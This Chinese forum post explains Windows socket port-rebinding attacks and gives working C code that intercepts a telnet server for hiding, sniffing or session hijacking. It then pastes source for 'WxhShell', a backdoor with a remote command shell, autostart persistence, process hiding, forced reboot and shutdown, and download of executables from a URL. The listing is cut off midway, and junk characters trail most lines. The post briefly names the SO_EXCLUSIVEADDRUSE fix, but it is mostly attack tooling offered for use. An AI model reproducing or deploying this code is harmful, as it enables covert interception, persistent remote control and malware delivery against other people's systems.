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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ( y0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5e1;m6  
w=JO$7  
  saddr.sin_family = AF_INET; x *:v]6y  
%wil'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wo>7^ZA  
lrQNl^K}=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #$n >+ lc  
q#D-}R_RN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (`'(`x#  
u]0{#wu;g  
  这意味着什么?意味着可以进行如下的攻击: bbNN$-S|  
&"l Sq2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g&&-  
uE E;~`G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AdU0 sZ+&c  
W=G8l%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *3@ =XY7  
E>_N|j)9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '< =77yDg  
8SGqDaRt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z; 6N7U  
p ; ]Qxh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 emT/5'y  
#|j8vmfn$e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?*AhGza/  
MxLg8,M  
  #include aoUz_7  
  #include @js`$  
  #include {q!GTO  
  #include    M!tR>NMH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h~`^H9?M  
  int main() TGDrTyI?y  
  { /Z| K9a  
  WORD wVersionRequested; /$NR@56 \  
  DWORD ret; dD351!-  
  WSADATA wsaData; K0A[xkX6  
  BOOL val; .+) AeGh  
  SOCKADDR_IN saddr; qx5jaa3  
  SOCKADDR_IN scaddr; gT_tR_g  
  int err; */'j[uj  
  SOCKET s; <s=i5t My5  
  SOCKET sc; Bv xLbl}  
  int caddsize;  MFyi#nq  
  HANDLE mt; 7u`:e,'  
  DWORD tid;   )tm%0z7R  
  wVersionRequested = MAKEWORD( 2, 2 ); tP1znJh>y  
  err = WSAStartup( wVersionRequested, &wsaData ); 719lfI&s  
  if ( err != 0 ) { XwZR Kh\>=  
  printf("error!WSAStartup failed!\n"); y9Pw'4R  
  return -1; <5!)5+G  
  } ~KYA{^`*  
  saddr.sin_family = AF_INET; =d BK,/  
   %bp'`B=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zDf96eK  
9\Md.>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |R;`  
  saddr.sin_port = htons(23); k x%\Cz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &3Ry0?RET  
  { Nd He::  
  printf("error!socket failed!\n"); R$x(3eyx  
  return -1; 1* ?XI  
  } soOfk!b  
  val = TRUE; >r>pM(h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l0PXU)>C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,(B/R8ZF~  
  { T"DG$R,Aj  
  printf("error!setsockopt failed!\n"); ^|%N _ s  
  return -1; jZk dTiI  
  } b63DD(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4N)45@jk[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m 0]1(\%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0HI0/Tvu$<  
\I7&F82e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8iPA^b|sz{  
  { \0;EHB  
  ret=GetLastError(); Lh-+i  
  printf("error!bind failed!\n"); E~S~Ld%  
  return -1; Q sPZ dC  
  } -n:;/ere7-  
  listen(s,2); "td ,YVK  
  while(1) L*6>S_l[  
  { n){u!z)Al  
  caddsize = sizeof(scaddr); 7yal  T.  
  //接受连接请求 ?NxaJ^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q3D,hG_  
  if(sc!=INVALID_SOCKET) _=K\E0I.m  
  { bwK1XlfD.s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *iUR1V Y  
  if(mt==NULL) v<ati c  
  { l]L"Ex{  
  printf("Thread Creat Failed!\n"); gMPvzBpP  
  break; M y!;N1  
  } brdY97s4  
  } ^qtJcMK+hq  
  CloseHandle(mt); km,@yU  
  } dW%;Z  
  closesocket(s); L,3%}_  
  WSACleanup(); _o-01gu.  
  return 0; Q SvgbjdE  
  }   rW2l+:@c  
  DWORD WINAPI ClientThread(LPVOID lpParam) v{) *P.E  
  { HHZrovA#  
  SOCKET ss = (SOCKET)lpParam; ~V/?/J$  
  SOCKET sc; # "TL*p  
  unsigned char buf[4096]; V0*9Tnc  
  SOCKADDR_IN saddr; KS;Wr6]@(O  
  long num; 2SYV2  
  DWORD val; `<?((l%;R  
  DWORD ret; mSp;(oQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qbo W<W<H1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,Z(J;~  
  saddr.sin_family = AF_INET; %`j2?rn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cK t8e^P  
  saddr.sin_port = htons(23); $kh6-y@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k&o1z'<C  
  { = $6pL  
  printf("error!socket failed!\n"); o vX9  
  return -1; E>rWm_G  
  } $,jynRk7q  
  val = 100; Es+BV+x[.c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !qJ|`o Y  
  { ]ChN]>o  
  ret = GetLastError(); k5)e7Lb(  
  return -1; tkEup&  
  } Nk shJ2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #zKF/H|_R  
  { PxgLt2dXa  
  ret = GetLastError(); "3VMjF\  
  return -1; _pR7sNeV  
  } <9Pf] G=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G `JXi/#`  
  { k&3'[&$I*,  
  printf("error!socket connect failed!\n"); a\v@^4   
  closesocket(sc); |I=\+P}s  
  closesocket(ss); }@jT-t]P  
  return -1; 4vf,RjB-5  
  } -_~T;cj6  
  while(1) q/t~`pH3  
  { G1:2MPH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T\o!^|8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qEB]Tj e[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ahm@ +/2  
  num = recv(ss,buf,4096,0); f m'Qif q^  
  if(num>0) j?P8&Fm<  
  send(sc,buf,num,0); }5sJd>u5^  
  else if(num==0) 3}X;WE `  
  break; R(F+Xg je  
  num = recv(sc,buf,4096,0); #[ hJm'G  
  if(num>0) r2 o-/$  
  send(ss,buf,num,0); N}j^55M_]  
  else if(num==0) }mSfg  
  break; cakb.Q  
  } ~F9WR5}]  
  closesocket(ss); W]DZ'  
  closesocket(sc); \~bE|jWbj  
  return 0 ; p;m2RHYF  
  } x?MSHOia`P  
*,d>(\&[f  
-g]g  
========================================================== N HL{.8L{  
5KFd/9  
下边附上一个代码,,WXhSHELL 2u|} gZts  
+yd(t}H@  
========================================================== RAW(lZ(  
0 SeDBs  
#include "stdafx.h" C) "|sG  
A 9HJWKO  
#include <stdio.h> ?4i:$.A Y  
#include <string.h> 7J@D})si  
#include <windows.h> T5+iX`#M  
#include <winsock2.h> aD:vNX  
#include <winsvc.h> 2v6QUf  
#include <urlmon.h> px1{=~V/  
H#B~ h4#  
#pragma comment (lib, "Ws2_32.lib") v"&Fj  
#pragma comment (lib, "urlmon.lib") ki^c)Tqn  
UR&Uwa&.  
#define MAX_USER   100 // 最大客户端连接数 ~rX2oLw{&  
#define BUF_SOCK   200 // sock buffer @i[z4)"S  
#define KEY_BUFF   255 // 输入 buffer ;h"?h*}m!\  
~"+Fp&[9f  
#define REBOOT     0   // 重启 `2@t) :  
#define SHUTDOWN   1   // 关机 t%n3~i4X:  
|NcfR"[c  
#define DEF_PORT   5000 // 监听端口 m1k+u)7kD  
9j[%Y?  
#define REG_LEN     16   // 注册表键长度 \HB4ikl  
#define SVC_LEN     80   // NT服务名长度 &1DU]|RoT&  
b1}P3W  
// 从dll定义API (f  0p   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "s]c79t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FSqS]6b3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I4Ys ,n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0~\Dd0W/:`  
&Oq& ikw  
// wxhshell配置信息 5CxD ys&<  
struct WSCFG { ~5HI9A4^  
  int ws_port;         // 监听端口 s|U?{Byb!  
  char ws_passstr[REG_LEN]; // 口令 rZDlPp>BPZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no XQu~/{A=  
  char ws_regname[REG_LEN]; // 注册表键名 m>gok0{pm  
  char ws_svcname[REG_LEN]; // 服务名 Syn>;FX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {@u;F2?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eyZ /%4'q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <aR8fU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LX e{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4425,AR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?#^_yd|<  
pC2r{-  
}; P+sxlf:0  
J3fcnI  
// default Wxhshell configuration D 5]sf>~  
struct WSCFG wscfg={DEF_PORT, xD;5z`A3  
    "xuhuanlingzhe", {|%N  
    1, Y?2I /  
    "Wxhshell", |Ebwl]X2  
    "Wxhshell", Yw=Ve 0  
            "WxhShell Service", ?Ovl(4VG  
    "Wrsky Windows CmdShell Service", > _1*/o JO  
    "Please Input Your Password: ", (z0S5#g ,x  
  1, :0.Z/s -  
  "http://www.wrsky.com/wxhshell.exe", <LDVO'I0 !  
  "Wxhshell.exe" 8? 4j-  
    }; &,xN$  
D L_{q6ZK  
// 消息定义模块 ?9_<LE q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DD\:glo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )eNR4nF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N %-Cp)  
char *msg_ws_ext="\n\rExit."; SUXRWFl  
char *msg_ws_end="\n\rQuit."; A('=P}I^  
char *msg_ws_boot="\n\rReboot..."; d_*'5Eia6  
char *msg_ws_poff="\n\rShutdown..."; Z&%#,0>]  
char *msg_ws_down="\n\rSave to "; Au$|@  
^c}Z$V  
char *msg_ws_err="\n\rErr!"; w} *;^n  
char *msg_ws_ok="\n\rOK!"; 1vBR\!d?7  
6)m}e?D>  
char ExeFile[MAX_PATH]; *z`_U]tP  
int nUser = 0; TmG$Cjf84  
HANDLE handles[MAX_USER]; ]:JoGGE a0  
int OsIsNt; pq7G[  
BEyg 63=  
SERVICE_STATUS       serviceStatus; U[=VW0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c4oQ4  
rG1l:Z)  
// 函数声明 Tm5]M$)  
int Install(void); _6&x$ *O  
int Uninstall(void); Zf |%t  
int DownloadFile(char *sURL, SOCKET wsh); f( 5c  
int Boot(int flag); Yjv}@i"  
void HideProc(void); YYHtd,0\+  
int GetOsVer(void); 40N8?kQ}?  
int Wxhshell(SOCKET wsl); D\]gIXg  
void TalkWithClient(void *cs); `3^ *K/K\  
int CmdShell(SOCKET sock); D)XF@z;  
int StartFromService(void); *{8K b>D  
int StartWxhshell(LPSTR lpCmdLine); VS<E?JnbFV  
9S@PY_ms  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~isrE;N1|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *z;4. OX  
9l9 nT  
// 数据结构和表定义 tvynl;Y/  
SERVICE_TABLE_ENTRY DispatchTable[] = 0&2(1  
{ Ro$'|}(+A  
{wscfg.ws_svcname, NTServiceMain}, ~YKe:K+&z  
{NULL, NULL} bl NJ  
}; ~~k_A|&  
5*u0VabC<  
// 自我安装 | ?3\xw  
int Install(void) .ml24SeC  
{ ciVN-;vi  
  char svExeFile[MAX_PATH]; ;@GlJ '$;  
  HKEY key; `P<}MeJ\l  
  strcpy(svExeFile,ExeFile); (:Rj:8{  
w~hO)1c],:  
// 如果是win9x系统,修改注册表设为自启动 T1jAY^^I  
if(!OsIsNt) { TJ8IYo| D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P:vAU8d>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =#dW^ ?p  
  RegCloseKey(key); Ecp]fUQK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T%Xl(.Ft  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +<7~yZ[Z8  
  RegCloseKey(key); u8L%R[#o  
  return 0; hdt;_qa   
    } awh<CmcZ  
  } A@xa$!4}  
} 3 ha^NjE  
else { fVx<f.xuW  
:["iBrFp  
// 如果是NT以上系统,安装为系统服务 b HRH2Ss  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gKoB)n<[  
if (schSCManager!=0) TeaP\a  
{ z ^t6VFM  
  SC_HANDLE schService = CreateService low 0@+Q  
  ( 9$ZQuHSw 7  
  schSCManager, !qk+>6~A,  
  wscfg.ws_svcname, -J*BY2LU3f  
  wscfg.ws_svcdisp, W5 ^eCYHoi  
  SERVICE_ALL_ACCESS, yXP+$oox9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S?ELFq(g  
  SERVICE_AUTO_START, TtTp ,If  
  SERVICE_ERROR_NORMAL, f Ne9as  
  svExeFile, *P2_l Q=  
  NULL, I^S gWC  
  NULL, +.^BM/z^O  
  NULL, c-1,((p  
  NULL, D*.U?  
  NULL __N< B5E  
  ); 3NU{7,F  
  if (schService!=0) &iR3]FNI  
  { >dO1)  
  CloseServiceHandle(schService); T40&a(hXQ  
  CloseServiceHandle(schSCManager); (%.[MilxPM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nk=+6r6  
  strcat(svExeFile,wscfg.ws_svcname); E;m]RtvH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &[71~.Od  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d[K71  
  RegCloseKey(key); iY@wg 8ry  
  return 0; @p` *MWU  
    } &%eWCe+ +  
  } e=uElp'%  
  CloseServiceHandle(schSCManager); KA~eOEj M  
} b)ytm=7ha  
} IBfLb(I  
8i$quHd&x  
return 1; *iLlBE  
} 2kukQj (n  
 W^dk:  
// 自我卸载 _yx~t  
int Uninstall(void) ].ZfTrM]  
{ @ ;T|`Y=7  
  HKEY key; $~)BO_;o  
aE aU_f /  
if(!OsIsNt) {  vVvx g0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &.W,Hh  
  RegDeleteValue(key,wscfg.ws_regname); l-^2>K[  
  RegCloseKey(key); ]'IZbx:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DA=#T2)p  
  RegDeleteValue(key,wscfg.ws_regname); i28WgDG)5  
  RegCloseKey(key); Uk1|y\  
  return 0; [d"]AF[#  
  } Ygeg[S!7  
} eR1SPS1+  
} #3VOC#.  
else { '%Fg+cZN\  
\NZ(Xk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); # <?igtUO  
if (schSCManager!=0) Fw{:fFZC[  
{ Y5mQY5u|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b@v_db]|t.  
  if (schService!=0) }xx"  
  { "mk@p=d  
  if(DeleteService(schService)!=0) { x."R_>  
  CloseServiceHandle(schService); ;- 0 d2Z  
  CloseServiceHandle(schSCManager); ztS:1\  
  return 0; -G'U\EXT  
  } hZZ  
  CloseServiceHandle(schService); ,r5'nDV=d  
  } 7!qO*r  
  CloseServiceHandle(schSCManager); q g2 fTe  
} $Wy(Wtrx|  
} 8_W=)w6  
rtSG- _[i  
return 1; ;OMR5KAz  
} ?8U#,qq#`  
C(%b!Q,2  
// 从指定url下载文件 Ei HQ&u*  
int DownloadFile(char *sURL, SOCKET wsh) %~e+H|  
{ .#q]{j@Ot  
  HRESULT hr; ?td`*n~,  
char seps[]= "/"; 8(zE^W,[8"  
char *token; 8l.bT|#O  
char *file; IgIM8"N  
char myURL[MAX_PATH]; v:F_! Q  
char myFILE[MAX_PATH]; W5*Kq^6Pd  
WqO4_;X6/  
strcpy(myURL,sURL); Xi~7pH  
  token=strtok(myURL,seps); Wa5B;X~  
  while(token!=NULL) 88&M8T'AP  
  { |LLDaA-=0  
    file=token; _|Uv7>}J^  
  token=strtok(NULL,seps); tE8aL{<R  
  } f&L3M)T  
sRI0;  
GetCurrentDirectory(MAX_PATH,myFILE); H/2dVUU  
strcat(myFILE, "\\"); eKUP,y;[I  
strcat(myFILE, file); 9,?7mgZ p  
  send(wsh,myFILE,strlen(myFILE),0); Q2>o+G  
send(wsh,"...",3,0); drQI@sPp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yE#.Q<4  
  if(hr==S_OK) Y'^+ KU  
return 0; L`"j> ),  
else -Hh.8(!XoO  
return 1; L9$`zc  
*Y':raP  
} \ z3>kvk  
~@\sN+VS  
// 系统电源模块 <y=+Gh  
int Boot(int flag) zCdcwTe  
{ #|"M  
  HANDLE hToken; `m`Y3I  
  TOKEN_PRIVILEGES tkp; ,hOi5,|?L  
r i/CLq^D  
  if(OsIsNt) { 7'!DK;=TD6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sj3[ny;b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5m yQBKE  
    tkp.PrivilegeCount = 1;  y 2C Jk~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hLr\;Swyp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); udOdXz6K?  
if(flag==REBOOT) { {O6yJckH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G3o`\4p  
  return 0; mb>8=hMg  
} g/ 4ipcG;N  
else { CjGQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (DkfLadB  
  return 0; !C@+CZXLx  
} $-p9cyk  
  } \4KV9wm  
  else {  u]OYu  
if(flag==REBOOT) { ||))gI`3a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v,kvLjqt  
  return 0; f28bBuv1?  
} (]` rri*^  
else { C~IE_E&Q`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6HZVBZhM  
  return 0; z?@N+||,.  
} =gB8(1g8  
} &I:ZJuQ4  
@R Jr ~y0  
return 1; Z7NR%u_|[  
} <1#hX(Q  
uO)vGzt3^x  
// win9x进程隐藏模块 }]Nt:_UCX  
void HideProc(void) 7h.fT`  
{ 4t-l@zFWb  
KE6 XNG3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M0T z('~s  
  if ( hKernel != NULL ) NwVhJdo  
  { ~RH)iI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (^"2"[?a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WXY-]ir.  
    FreeLibrary(hKernel); G +&pq  
  } ?G<ISiABQC  
`2/V.REX$h  
return; -Iis/Xw:  
} F'-XAI <3  
tXuf!  
// 获取操作系统版本 cbYQ';{  
int GetOsVer(void) phQ{<wzwp  
{ +4Fw13ADE  
  OSVERSIONINFO winfo; EywBT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :H:Se  
  GetVersionEx(&winfo); hV+=hX<h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DJ9x?SL@KD  
  return 1; JLt%G^W >  
  else Ldj*{t `5  
  return 0; * F_KOf9p  
} 7?D?s!%\  
8rjD1<  
// 客户端句柄模块 fwiP3*j+Nn  
int Wxhshell(SOCKET wsl) H@u5&  
{ rP}[>  
  SOCKET wsh; ~N2=44e  
  struct sockaddr_in client; {5fL!`6w  
  DWORD myID; DN iH" 0%  
(AX$S vw  
  while(nUser<MAX_USER) tLxeq?Oo]  
{ t 4VeXp6  
  int nSize=sizeof(client); (L1F ],Au  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f7|Tp m  
  if(wsh==INVALID_SOCKET) return 1; . :>e"D  
BOh^oQh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X7[gfKGL)N  
if(handles[nUser]==0) LlS~J K  
  closesocket(wsh); )\j dF-s  
else CZ'm|^S  
  nUser++; c%bzrYQvA;  
  } >t<\zC|~w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "$aoIXv  
w0+X;aId  
  return 0; ($>m]|  
} O;5lF  
CUHT5J*sY  
// 关闭 socket 1/~=61msc  
void CloseIt(SOCKET wsh) :`E p#[Wvo  
{ }-J0cV  
closesocket(wsh); ky-nP8L}  
nUser--; 5KDCmw  
ExitThread(0); 2wDDVUwyB  
} Mi{ns $B%  
Nd+1r|e'  
// 客户端请求句柄 89;@#9  
void TalkWithClient(void *cs) H9PnJr8 \  
{ e(xuy'4r  
TVx `&C+  
  SOCKET wsh=(SOCKET)cs; 5&h">_j  
  char pwd[SVC_LEN]; {y a .  
  char cmd[KEY_BUFF]; [0hahR  
char chr[1]; M0~%[nX  
int i,j; ~;a \S3  
,i??}Wm5G  
  while (nUser < MAX_USER) { q5L^>"  
f$6N  
if(wscfg.ws_passstr) { D7T|K :F)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AS@(]T#R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c{_JPy  
  //ZeroMemory(pwd,KEY_BUFF); gua7<z6=eh  
      i=0; Lt=32SvTn  
  while(i<SVC_LEN) { i>]PW|]  
# =tw ,S  
  // 设置超时 zL9~gJ  
  fd_set FdRead; eBs.RR ]O  
  struct timeval TimeOut; hc+B+-,  
  FD_ZERO(&FdRead); KYtCN+vsG  
  FD_SET(wsh,&FdRead); '?mF,C o{  
  TimeOut.tv_sec=8; ]K*R[  
  TimeOut.tv_usec=0; 'j<u0'K@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZQ+DAX*MS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Um 6}h@>  
y.J>}[\&x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ul9^"o  
  pwd=chr[0]; RJzIzv99m  
  if(chr[0]==0xd || chr[0]==0xa) { Mmu#hb|W  
  pwd=0; /\b* oPWJ  
  break; 5cinI^x)f  
  } A8{ xZsH  
  i++; ;Tp9)UP)  
    } MO0NNVVi%U  
)J> dGIb  
  // 如果是非法用户,关闭 socket pR93T+X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @R50M (@W  
} D|*w6p("z  
G^#>HE|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GRbbU#/=G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ess.U&m'  
3CjixXaA$  
while(1) { -5+Yz9pv[  
>MN"87U6  
  ZeroMemory(cmd,KEY_BUFF); xh$yXP0/  
&C+2p  
      // 自动支持客户端 telnet标准   [B+F}Q^;  
  j=0; < $e#o H  
  while(j<KEY_BUFF) { ]!"w?-h Si  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8|=C/k  
  cmd[j]=chr[0]; (,#m+  
  if(chr[0]==0xa || chr[0]==0xd) { /go[}X5QR[  
  cmd[j]=0; 5rB>)p05[  
  break; 6h)_{| L)  
  } #eOHe4Vt  
  j++; {qi #  
    } {+hABusq  
" WQ6[;&V  
  // 下载文件 W1X3ArP]m8  
  if(strstr(cmd,"http://")) { $j\>T@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UIyLtoxu  
  if(DownloadFile(cmd,wsh)) XZARy:+bc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aYT!xdCI  
  else 7 uL.=th'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' Xj^cX  
  } V<S6 a  
  else { t e-xhJ&K  
MWA,3I\.  
    switch(cmd[0]) { .ZF%$H  
  (~N?kh:  
  // 帮助 e[u}Vf  
  case '?': { .Ji9j[[#D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2e%\aP`D2  
    break; }k-8PG =  
  } U'ctO%  
  // 安装 vRC >=y*=  
  case 'i': { ?[zw5fUDS  
    if(Install()) !'^l}K>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0j(U &  
    else 7:?\1 a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #z.n?d2Gd  
    break; s=(q#Z  
    } 27ZqdHd  
  // 卸载 s2SV   
  case 'r': { I*.nwV<  
    if(Uninstall()) hxMRmH[f:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >4luZnWMI  
    else i,<'AL )  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M{G}-QK_.  
    break; CdRJ@Lf  
    } mbkt7. ,P  
  // 显示 wxhshell 所在路径 Anyy  
  case 'p': { 7>gjq'0  
    char svExeFile[MAX_PATH]; fub04x)  
    strcpy(svExeFile,"\n\r"); y@~ VE5N  
      strcat(svExeFile,ExeFile); z8t;jw  
        send(wsh,svExeFile,strlen(svExeFile),0); $+GDPYm'  
    break; N? Jy  
    } ?V!5VHa  
  // 重启 "JSIn"/  
  case 'b': { q`r| DcN~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H%Gz"  
    if(Boot(REBOOT)) G$TO'Ciu:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[*unIk  
    else { BZQ}c<Nl  
    closesocket(wsh); bKsjbYuo  
    ExitThread(0); 3f^Pr  
    } J";N^OR{A%  
    break; bVU4H$k  
    } ph5{i2U0  
  // 关机 b_nE4>  
  case 'd': { J1I,;WGf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =9ff9 83  
